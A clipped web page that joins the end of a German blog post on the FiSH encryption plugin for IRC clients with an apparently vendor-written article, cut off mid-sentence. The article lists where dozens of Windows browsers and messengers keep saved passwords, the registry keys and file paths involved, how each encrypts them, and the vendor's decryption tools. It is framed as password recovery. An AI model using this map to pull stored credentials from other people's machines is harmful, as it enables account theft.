verschlüsselt \(” _process\_outgoing=1_ “\) muss man lediglich tippen, das
Plugin erledigt den Rest.  
Ist dies nicht der Fall, kann auch hier mit “ _/msg+ \#channel verschlüsselter
Text_ ” eine verschlüsselte Nachricht abgesetzt werden. Umgekehrt gibt es
ebenso eine Möglichkeit. Betritt zum Beispiel ein neuer Teilnehmer einen
Channel, der nichts von der Verschlüsselung weiß, wird dieser ziemlich
verwirrt staunen, wenn er lediglich kryptische Zeichen auf dem Bildschirm
sieht. Möchte man diesen armen Menschen darüber informieren, dass er FiSH-
Plugin nebst Schlüssel benötigt, muss man die Kommunikation ausnahmsweise
nicht verschlüsseln. Ist dies standardmäßig aktiviert hilft hier das “+p”
Prefix vor Nachrichten. Mit “ _+p Unverschlüsselter Text_ ” im Channelfenster
wird die Nachricht im Klartext gesendet und ist für jeden lesbar.

Es gibt also zwei Möglichkeiten, Nachrichten zu verschlüsseln: explizit und
implizit. Explizit markiert Nachrichten die ausdrücklich verschlüsselt werden
sollen mit dem Befehl “ _/msg+_ ” während das standardmäßige “ _/msg_ ” nach
wie vor unverschlüsselt bleibt. Implizite Verschlüsselung verschlüsselt
hingegen transparent indem es sich in den “ _/msg_ ” Befehl einklinkt.

Das selbe Prinzip gilt ebenso für die Befehle “ _/notice_ ” und “ _/topic_ “,
wofür es jeweils explizit verschlüsselte Pendants gibt: “ _/notice+_ ” bzw. “
_/topic+_ “.

Alle verfügbare Befehle listet übersichtlich die zugehörige Dokumentation von
FiSH.

### … für Windows

Unter Windows ist die Installation zwar komplizierter, weil für Fish ein
gepatchtes mIRC benötigt wird, dafür ist die Anwendung aber komfortabler. Um
meinen guten Willen zu zeigen, scheute ich keine Kosten und Mühen und bootete
gar mein unbenutztes, schrecklich veraltetes und kaum benutztes Windows \(dort
läuft noch Firefox 0.8 oder so\) um dies zu demonstrieren.

<img src='img/Temp2_10113.png' width='250' height='179' />

Zur Installation installiert man die aktuelle Version von mIRC \(6.31\) am
gewünschten Ort und lädt und entpackt den FiSH-Patcher im
Installationsverzeichnis von mIRC. Nach einem Klick auf “Patch” kann mIRC
regulär gestartet werden. Es bleibt noch, das ebenfalls in das
Installationsverzeichnis entpackte mIRC-Script “FiSH.mrc” zu laden. Dies
geschieht über “ _//load -rs1 $shortfn\($nofile\($mircexe\) $+ FiSH.mrc\)_ “.
Danach kann es mit der verschlüsselten Kommunikation los gehen. Auch hier gibt
es eine blow.ini, die jedoch anders als bei xchat und irssi auch mit einer
grafischen Oberfläche konfiguriert werden kann, die einfach über Rechtsklick
im Channelfenster zugänglich ist. IRC-Befehle gibt es hier nicht, die
Konfiguration erfolgt ausschließlich über das zugehörige Menü.

<img src='img/Temp2_10119.png' width='250' height='212' />

Schön ist dabei, dass es auch zwischen den verschiedenen Implementierungen
keinerlei Probleme, auch mit Zeichensätzen gibt. Einwandfrei klappt also die
verschlüsselte Kommunikation zwischen Windows mit mIRC und Linux mit xchat.

Überhaupt funktioniert FiSH erstaunlich einfach und problemlos. Es gibt einzig
und allein kleinere Probleme, die sich technikbedingt nicht beheben lassen,
was zum Beispiel die Integration in IRC-Klienten betrifft. xchat-Benutzer
werden zum Beispiel feststellen, dass das Highlight von Nachrichten
problembehaftet aber nicht unmöglich ist. Störender ist jedoch, dass
gelegentlich Nachrichten nicht komplett übertragen werden können, wenn man
besonders lange Zeilen tippt. Problem dabei ist, dass FiSH zur Übertragung
reinen Text verwendet, der über Base64 codiert ist.

<img src='img/Temp2_10118.png' width='250' height='151' />

<img src='img/Temp2_10114.png' width='250' height='164' />

Anders wäre es nicht möglich über das Textprotokoll IRC Binärdaten, wie sie
der symmetrische Algorithmus Blowfish erzeugt, zu übertragen. Diese erzeugen
aber viel größere Datenmengen, als dies bei Klartextnachrichten der Fall wäre,
so kommt es schon mal vor, dass zu lange Zeilen vom IRC-Server abgeschnitten
werden. Besonders bei Channeltopics ist das nervend. In einem Dialog wird so
ein abgeschnittener Block aber markiert und der Gesprächspartner kann darüber
informiert werden.

### Kategorien

Eingeordnet unter: Überwachung, Technik  

### Verwandte Artikel

  * Von \(Un-\)Sicherheit im WLAN \(3\)
  * Privatsphäre im Internet: ein rares Gut \(4\)
  * Pornos, U-Bahn und Datenschutz \(0\)
  * Ich weiß, was du heute gemacht hast \(4\)
  * Ich bin jetzt auch Terrorist \(3\)

# Password Secrets of Popular Windows Applications

**Created:**| _8/7/2014 9:57:16 PM_  
---|---  
**Updated:**| _8/7/2014 9:57:16 PM_  
**Author:**| __  
**Tags:**| _Examples passwords secure coding_  
  

# Password Secrets of Popular Windows Applications

Password Secrets of Popular Windows Applications  
---  
See Also  
Contents  
Introduction  
In today's Internet driven world, all of us use one or other applications
starting from browsers, mail clients to instant messengers. Most of these
applications store the sensitive information such as user name, **password**
in their private location using proprietary methods. This prevents hassle of
entering the credentials every time during the authentication.  
  
Some applications take utmost care to secure these sensitive information but
most apps use simple methods or rather obscure methods to store the passwords
which can easily expose your secrets to spyware running in the background or
anyone who has access to your system.<img src='img/Temp2_6153.jpg'
alt='Password Secrets' />In this context, this article is going to expose the
secret password storage location and encryption mechanism by most of the
popular applications. It is also going to present the pointers on how one can
uncover such passwords using the free password tools developed by us.  
Password Secrets of Windows Applications  
Here is the list of popular applications falling into various categories such
as Internet browsers, Email clients, Instant Messengers etc whose password
secrets are exposed below.  
Internet Browsers  
|  <img src='img/Temp2_6152.jpg' width='24' height='24' /> Avant  
---  
Avant Browser is an emerging ultra-fast web browser bringing new level of
clarity and efficiency to your browsing experience. It stores all the web
login passwords in the file named **'forms.dat'** at below location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Avant
Profiles\\.default\formdata  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Roaming\Avant Profiles\\.default\formdata  
Web login urls and passwords are stored in an encrypted format protected by 32
byte key stored in a file 'forms.dat.vdt'. Key is encrypted using unknown
algorithm and stored in BASE64 format.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related
Tools:**Browser Password Decryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Comodo Dragon  
Comodo Dragon is a fast and versatile Internet Browser based on Chromium, with
greater level of security & privacy. It stores all the web login passwords in
the sqlite database file called 'Login Data' at below location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\Comodo\Dragon\User Data\Default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Local\Comodo\Dragon\User Data\Default  
It uses same storage format and encryption mechanism as Google Chrome browser.
You can use Comodo Password Decryptor to automatically recover all the stored
login passwords by Comodo Dragon browser.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**Comodo Password Decryptor**, **Browser Password Decryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> CoolNovo \(formerly
ChromePlus\)  
CoolNovo \(formerly Chrome Plus\) is an emerging Chromium based web browser.
It stores all the web login passwords in the sqlite database file called
'Login Data' at below location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\MapleStudio\ChromePlus\User Data\Default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Local\MapleStudio\ChromePlus\User Data\Default  
It uses same storage format and encryption mechanism as Google chrome.  You
can use CoolNovo Password Decryptor to automatically recover all the stored
login passwords by CoolNovo browser.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**CoolNovo Password Decryptor**,**Browser Password Decryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Firefox  
**Firefox** with version 3.5 and earlier stores the sign-on passwords in the
'signons.txt' file located in its profile directory. With version 3.5 onwards
Firefox started storing the sign-on passwords in Sqlite database file named
'signons.sqlite'. The passwords stored in this sign-on file are encrypted
using Triple-DES followed by BASE64 encoding mechanism.  
  
Here is the default location of Firefox profile directory,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Mozilla\Firefox\Profiles\<random\_name>.default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\Mozilla\Firefox\Profiles\<random\_name>.default  
To know how and what information is stored in this encrypted sign-on file,
refer to this article page. You can instantly recover all these sign-on
passwords using tools such as FirePassword \(command line\) or
FirePasswordViewer \(GUI\).  
  
Firefox provides additional protection option called 'master password' to
prevent malicious users from discovering these sign-on passwords. Master
password as such is not stored any where directly but it's one way hash and
other relevant information is stored in the key3.db file within the profile
directory. For more details about it, refer to Firemaster article page.  
  
In case you have lost your master password, then you can recover it using
FireMaster tool.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FirePassword**, **FirePasswordViewer**, **FireMaster**,
**BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Flock  
Flock browser uses similar storage format & encryption mechanism as Google
Chrome.  
  
It stores website login passwords in the sqlite database file called 'Login
Data' at following profile location.  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\Flock\User Data\Default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Local\Flock\User Data\Default  
Each stored sign-on entry mainly contains website URL, username field id,
username, password field id and encrypted password. For complete information
on how password is encrypted and other related details, refer to following
research article, 'Exposing the Password Secrets of Google Chrome'  
  
You can use ChromePasswordDecryptor to recover the stored website login
passwords by Flock. By default it sets the profile path of Chrome but you can
change it to above profile location of Flock and recover all the stored
passwords.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**ChromePasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Google Chrome  
**Google Chrome** stores all sign-on passwords in the sqlite database file
called 'Web Data' within the profile directory. Newer version uses 'Login
Data' file for storing login passwords. Here is the default location of Chrome
profile directory.  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\Google\Chrome\User Data\Default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Local\Google\Chrome\User Data\Default  
Each stored sign-on entry mainly contains website URL, username field id,
username, password field id and encrypted password. For complete information
on how password is encrypted and other related details, refer to following
research article page, 'Exposing the Password Secrets of Google Chrome'  
  
You can use ChromePasswordDecryptor to automatically recover all the stored
sign-on passwords by Chrome.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**ChromePasswordDecryptor**, **GooglePasswordDecryptor**,
**BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Google Chrome Canary
or SXS  
Google Chrome Canary or SXS is the parallel test version of Chrome which user
can download and test, there by helping Google to release stable version of
Chrome.  
  
Like Chrome, it also stores all sign-on passwords in the sqlite database file
called 'Web Data' within the profile directory. Newer version uses 'Login
Data' file for storing login passwords. However profile location of Chrome
Canary build is slightly different, here it is  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\Google\Chrome SXS\User Data\Default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\Local\Google\Chrome SXS\User Data\Default  
Also it uses same storage and encryption mechanism as Chrome. Each stored
sign-on entry mainly contains website URL, username field id, username,
password field id and encrypted password. For complete information on how
password is encrypted and other related details, refer to following research
article page, 'Exposing the Password Secrets of Google Chrome'  
  
You can use ChromePasswordDecryptor to automatically recover all the stored
sign-on passwords by Chrome. By default it sets the profile path of Chrome,
here you need to change it to Chrome Canary location as mentioned above.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**ChromePasswordDecryptor**, **GooglePasswordDecryptor**,
**BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Internet Explorer  
**Internet Explorer** stores two types of passwords, sign-on and HTTP basic
authentication \(generally proxy, router configuration\) passwords. IE below
version 7 stores both sign-on and HTTP basic authentication passwords in the
secure location known as 'Protected Storage' in the following registry
location,  
HKEY\_CURRENT\_USER\Software\Microsoft\Protected Storage System Provider  
With version 7 onwards IE uses the new mechanism to store the sign-on
passwords. The encrypted password for each website are stored along with hash
of the website URL in the following registry location.  
HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2  
Also IE 7 onwards, HTTP basic authentication passwords are stored in the
'Credentials store' at following location based on the operating system.  
\[Windows XP\]  
C:\Documents and Settings\\\[username\]\Application Data\Microsoft\Credentials  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\\\[username\]\AppData\Roaming\Microsoft\Credentials  
For complete details on how IE stores these passwords and how to recover them
refer to main article page, 'Exposing the Secrets of Internet Explorer'.  
  
You can instantly recover stored passwords for all versions of IE using the
tool, IEPasswordDecryptor.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**IEPasswordDecryptor**, **NetworkPasswordDecryptor**,
**BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Maxthon  
**Maxthon** \(version 3.1.7.1000\] stores all the web login user accounts
including passwords in the file **" MagicFill2.dat"** at below mentioned
location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Maxthon3\Users\<user\_name>\MagicFill  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\Administrator\AppData\Roaming\Maxthon3\Users\<user\_name>\MagicFill  
This magic file is fully encrypted with unknown algorithm. We will update here
as we decipher more information.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Opera  
**Opera** stores the login passwords in an encrypted format in the 'Magic Wand
File' called 'Wand.dat' within its profile directory. This profile path is
different for different versions of Opera as shown below.  
For Opera Version 10 and above  
\[Windows NT/2K/2k3/XP\]  
C:\Documents and Settings\<username>\Application Data\Opera\Opera\wand.dat  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\users\<username>\AppData\Roaming\Opera\Opera\wand.dat  
  
For Opera Version less than 10  
\[Windows NT/2K/2k3/XP\]  
C:\Documents and Settings\<username>\Application
Data\Opera\Opera\profile\wand.dat  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\users\<username>\AppData\Roaming\Opera\Opera\profile\wand.dat  
Wand file mainly contains website URL, username and password information which
are encrypted using Triple-DES algorithm. For more details on how these
secrets are encrypted and how to successfully decrypt them, refer to main
research article 'Exposing the Secret of Decrypting Opera's Magic Wand'  
  
You can use **OperaPasswordDecryptor** to instantly recover stored passwords
from Opera's magic Wand file.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**OperaPasswordDecryptor**, **BrowserPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Safari  
Safari uses strong storage format and encryption mechanism for securely
storing website login passwords. Login passwords along with other information
are stored in 'keychain.plist' file at following central location.  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Apple
Computer\Preferences  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\Appdata\AppData\Roaming\Apple Computer\Preferences  
The Keychain file uses binary Property List format \(typically found in MAC\)
which contains information such as website server name, user login & encrypted
password. Password is encrypted using the  Cryptography functions with the
salt value to keep it stronger.  
  
For complete technical details on encryption and decryption algorithm along
with code example, refer to following research article - '**Exposing the
Password Secrets of Apple Safari**'  
  
  
You can use **SafariPasswordDecryptor** to automatically recover all the
website login passwords stored by Safari.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**SafariPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> SeaMonkey  
**SeaMonkey** is an emerging mozilla based internet web browser. It uses same
password storage format and encryption mechanism as Firefox browser. SeaMonkey
stores user details including saved web login passwords in file called
**'signons.sqlite'** at following location,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Mozilla\SeaMonkey\Profiles\<random\_name>.default  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\Mozilla\SeaMonkey\Profiles\<random\_name>.default  
It uses same storage format and encryption mechanism as Firefox.  You can use
our tool 'SeaMonkey Password Decryptor' to instantly recover all the web login
passwords from SeaMonkey database.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**SeaMonkeyPasswordDecryptor**, **BrowserPasswordDecryptor**  
Instant Messengers  
|  <img src='img/Temp2_6152.jpg' width='24' height='24' /> AIM \(AOL Instant
Messenger\)  
---  
**AIM** version 6.x \(till v7.2\) onwards stores the password at the following
registry location,  
HKEY\_CURRENT\_USER\Software\America Online\AIM6\Passwords  
AIM PRO version uses the different registry location to store the passwords,  
HKEY\_CURRENT\_USER\Software\AIM\AIMPRO\<Account\_Name>  
Latest version of **AIM \(v7.5 since v7.3\)** stores the encrypted
username/password in the file **'aimx.bin'** at following location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application Data\AIM  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Local\AIM  
AIM uses **Blowfish** encryption algorithm along with Base64 encoding to
securely store the login passwords. We will soon write a detailed **research
article** on 'exposing the password secrets of AIM'.  
  
You can use our FREE tool,  **AIM Password Decryptor** to recover the password
saved by all versions of AIM \(including latest version v7.5\).  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Beyluxe Messenger  
**Beyluxe** Messenger stores main account password at following registry
location  
HKEY\_CURRENT\_USER\Software\Beyluxe Messenger\<nick\_name>  
Password for each user is encrypted and stored in the registry value
'password' under this key. For more technical details how Beyluxe encrypts the
password and how you can decrypt it manually, refer to the following research
article, **" Exposing the Password Secrets of Beyluxe Messenger"**  
  
You can recover all such stored account passwords by Beyluxe Messenger using
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> BigAnt Messenger  
**BigAnt** Messenger \(version 2.82\) stores the login name and password at
following registry location,  
HKEY\_CURRENT\_USER\Software\BigAntSoft\BigAntMessenger\Setting  
Login name is stored in the registry value "**LoginName** " and encrypted
password is stored in the registry value '**Password** ' under this key. We
will update more details about its encryption method once we crack it down.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Camfrog Video
Messenger  
**Camfrog** Video Messenger \(version 6.2\) stores the login password at
following registry location,  
HKEY\_CURRENT\_USER\Software\Camfrog\Client\<user\_name>\ProfileInfo  
Here <user\_name> refers to nick name or login name of the user. Hashed
password is stored in registry value **" Hash1" **under this key.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Digsby  
Newer versions of **Digsby** \(Build 83 - r27225as of this writing\) stores
main account password in the 'logininfo.yaml' file at following location,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application Data\Digsby  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Local\Digsby  
Digsby stores only main account password locally and all other IM account
passwords \(such as Yahoo, Gmail, AIM\) are stored in the servers. Main Digsby
password is encrypted using special algorithm with username, windows product
id, install date as key and resulting password is then encoded with BASE64
before storing into the above password file.  
  
Earlier versions of Digsby used to save the password in the 'Digsby.dat' file
at following location,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Digsby  
  
\[Windows Vista & Windows 7\]  
C:\Users\<user\_name>\AppData\Roaming\Digsby  
Earlier Digsby versions used hardcoded string 'foo' as key without BASE64
encoding.  
  
For more information how Digsby encrypts the password, how it is stored in its
secret file and how one can decrypt it manually, refer to our research
article**'Exposing the Password Secrets of Digsby'**  
  
You can use **DigsbyPasswordDecryptor** to instantly recover Digsby password
for all versions.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**DigsbyPasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Google Talk \(GTalk\)  
**Google Talk** \(GTalk\) stores all remembered gmail account information at
following registry location.  
HKEY\_CURRENT\_USER\Software\Google\Google Talk\Accounts  
For each Google account separate registry key is created with the account
email id as name under this key. Account password is encrypted and stored in
the registry string value named within this account registry key.  
  
For more information on what mechanism GTalk uses to encrypt the password and
how to decrypt it refer to following research article, 'Exposing Google
Password Secrets'  
  
You can use GooglePasswordDecryptor to instantly recover all stored Google
account passwords by Gtalk.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**GooglePasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> IMVU Messenger  
**IMVU Messenger**\(version 450.2\) stores the login account information at
following registry location,  
HKEY\_CURRENT\_USER\Software\IMVU\username  
HKEY\_CURRENT\_USER\Software\IMVU\password  
Username is stored in clear text and **password** is stored in **hex format**
as a default registry value.  
  
You can use **MessengerPasswordDecryptor**ttool to automatically & quickly
recover the login account password stored by IMVU messenger.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Meebo Notifier  
**Meebo Notifier** \(beta version\) stores the login messenger account
passwords in the **'MeeboAccounts.txt'** file at below mentioned location
depending on your platform.  
\[Windows XP\]  
C:\Documents and Settings\Application Data\Meebo\MeeboAccounts.txt  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\AppData\Roaming\Meebo\MeeboAccounts.txt  
This "MeeboAccounts.txt" file contains username in clear text and **login
password** encoded with **magic bytes**. To see these real magic bytes along
with sample **decoding program** read our research article -  **Exposing the
Password Secrets of Meebo**  
  
You can use our **MeeboPasswordDecryptor** or **Online Meebo Password
Decoder** to automatically and instantly recover all the messenger passwords
stored by Meebo Notifier.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MeeboPasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Miranda IM  
**Miranda** is open source based popular messenger of recent times. Like most
instant messengers, Miranda also stores the all user account information
including passwords in the profile location. This is to prevent the user from
entering the passwords each time.  
  
Latest version of Miranda \(v0.9.10\) stores the user account & password in
the profile file at following location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Miranda\%profile\_name%\%profile\_name%.dat  
  
\[Windows Vista & Windows 7\]  
C:\Users\<username>\AppData\Roaming\Miranda\%profile\_name%\%profile\_name%.dat  
User can have multiple profiles specific to office or home environment and
corresponding account information is stored in the respective profile file.  
  
Initial versions of Miranda stored all account information in .dat file
directly within the base location as shown below,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Miranda\<profile\_name>.dat  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\Miranda\<profile\_name>.dat  
Miranda uses its own proprietary mechanism to encrypt the password before
storing into the profile file.  
  
For more details on how Miranda encrypts the password for different protocols
and how to decode those secrets refer to following research article, **"
Exposing the Password Secrets of Miranda"**  
You can use **MirandaPasswordDecryptor** to instantly recover all stored
account passwords by Miranda.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MirandaPasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> MSN Messneger  
**MSN Messenger** also uses 'Credential Store' to securely store the
remembered passwords. These passwords are stored as type 'Domain Visible
Network' aka '.Net Passport' using the target name as '.Net passport' within
the 'Credential Store'.  
  
For more details on how MSN Messengers stores the passwords and how to decrypt
such passwords using the code example, read on to following research article
**'Exposing the Password Secrets of MSN/Windows Live Messenger'**  
  
You can recover all MSN messenger stored passwords using
**MSNLivePasswordDecryptor**.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MSNLivePasswordDecryptor**, **MessengerPasswordDecryptor**,
**NetworkPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> MySpace IM  
**MySpaceIM** is one of the upcoming instant messenger which stores the user
account & password details at following location.  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\MySpace\IM\users.txt  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\MySpace\IM\users.txt  
The user login email id is stored in clear text where as the password is in
encrypted format. The password is encrypted using  'Windows Crypto API'
functions and then encoded using BASE64 algorithm beforing storing into this
file. So in order to decrypt it successfully one has to decode the password
using BASE64 and then decrypt it using  CryptUnprotectData function.  
You can use IMPasswordDecryptor to instantly recover stored account passwords
by MySpaceIM.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Nimbuzz Messenger  
**Nimbuzz Messenger** \(version 1.6\) stores the login account information at
following registry location,  
HKEY\_CURRENT\_USER\Software\Nimbuzz\PCClient\Application  
It stores all the account details including login username & password \(stored
in hex format\) in registry values "**username** " & "**password** "
respectively.  
  
You can use **MessengerPasswordDecryptor** to automatically & quickly recover
the login account password stored by Nimbuzz.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> PaltalkScene  
**PaltalkScene** stores main account password at following registry location  
HKEY\_CURRENT\_USER\Software\Paltalk\<nick\_name>  
Password is encrypted and stored in the registry value 'pwd' under this key.
All other IM passwords such as Gmail, Yahoo, AIM etc are saved under separate
sub keys under this registry key. For example Gmail accounts are stored under
following registry key,  
HKEY\_CURRENT\_USER\Software\Paltalk\<nick\_name>\GGL\<gmail\_address>  
All these IM passwords are encoded with BASE64 and stored in 'pwd' registry
value. For more technical details on how Paltalk encrypts the password and how
can one decrypt this password, refer to our research article, **Exposing the
Password Secrets of PaltalkScene**  
  
You can recover main password as well as all the IM passwords stored by
Paltalk using **PaltalkPasswordDecryptor**.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**PaltalkPasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Pidgin \(Formerly
Gaim\)  
**Pidgin** stores all configured account passwords in the "Accounts.xml" file
located at following directory  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\\.purple  
  
\[Windows Vista & Windows 7\]  
C:\Users\<username>\AppData\Roaming\\.purple  
Older versions \(Gaim\) used .gaim folder instead of .purple to store the
account details. For each stored account, 'Accounts.xml' file contains the
<account> tag, which has sub tags <name> & <password> containing the account
email address and password in plain text respectively.  
  
You can recover Pidgin passwords using **MessengerPasswordDecryptor**.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Skype  
Skype does not store password directly. Instead it stores the encrypted hash
of the password in the 'config.xml' located in Skype's user profile directory.
Typical user profile directory for Skype will be as follows,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Skype\<account\_name>  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<username>\AppData\Roaming\Skype\<account\_name>  
This config.xml contains <Credentials2> tag which contains encrypted hash of
the password. As per the research paper 'Vanilla Skype' written by Fabrice
Desclaux and Kostya Kortchinsky, Skype uses the MD5 hash of string
"username\nskyper\npassword" for authentication. If user has set the 'Remember
password' option then this MD5 hash is encrypted using AES-256 & SHA-1
algorithms and finally saved into the 'Config.xml' file.  
  
Since the HASH of the password is saved, it is not possible to directly get
the password. Instead one has to use dictionary or brute force approach to
find out the right password from the hash. This approach may take days or
months together based on the length & complexity of the password.  
  
You can use 'SkypePassword' from Lastbit to recover stored Skype password.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**SkypePassword** by Lastbit  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Tencent QQ  
**Tencent QQ** is one of the popular instant messenger which stores the user's
login information in the file ** "Registry.db"** at following location  
C:\Users\<user\_name>\Documents\Tencent Files\<qq\_login\_id\QQ  
This "Registry.db" file is in the OLE storage format which can be viewed using
DocFile Viewer. However internal login information is encrypted using
**Blowfish** algorithm.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Trillian  
\[Version 4.21 build 24\] - \[Version 5.0.0.26\]  
Trillian Astra stores only main account passwords \(called as Identity or
Astra password\) in the 'accounts.ini' file at below mentioned location. But
all other IM account passwords \(such as Yahoo, Gtalk, AIM, MSN etc\) are
stored on the servers.  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Trillian\users\global\  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<username>\AppData\Roaming\Trillian\users\global\  
For each account it contains section named '\[Account<number>\]" under which
all information for that account is stored. Username is stored in the field
named 'Account=' and password is stored in the field 'Password='. Trillian
first performs XOR encoding of the password with standard pattern and then
encodes it with BASE64 before storing it.  
  
For more technical details on how different versions of Trillian encrypts the
password and how we can manually decrypt it, refer to our following research
article  
**Exposing the Password Secrets of Trillian**  
  
You can use **TrillianPasswordDecryptor** to automatically recover passwords
stored by all versions of Trillian.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**TrillianPasswordDecryptor**, **MessengerPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Windows Live Messenger  
Windows Live Messenger stores the account password at 'Credential Store' which
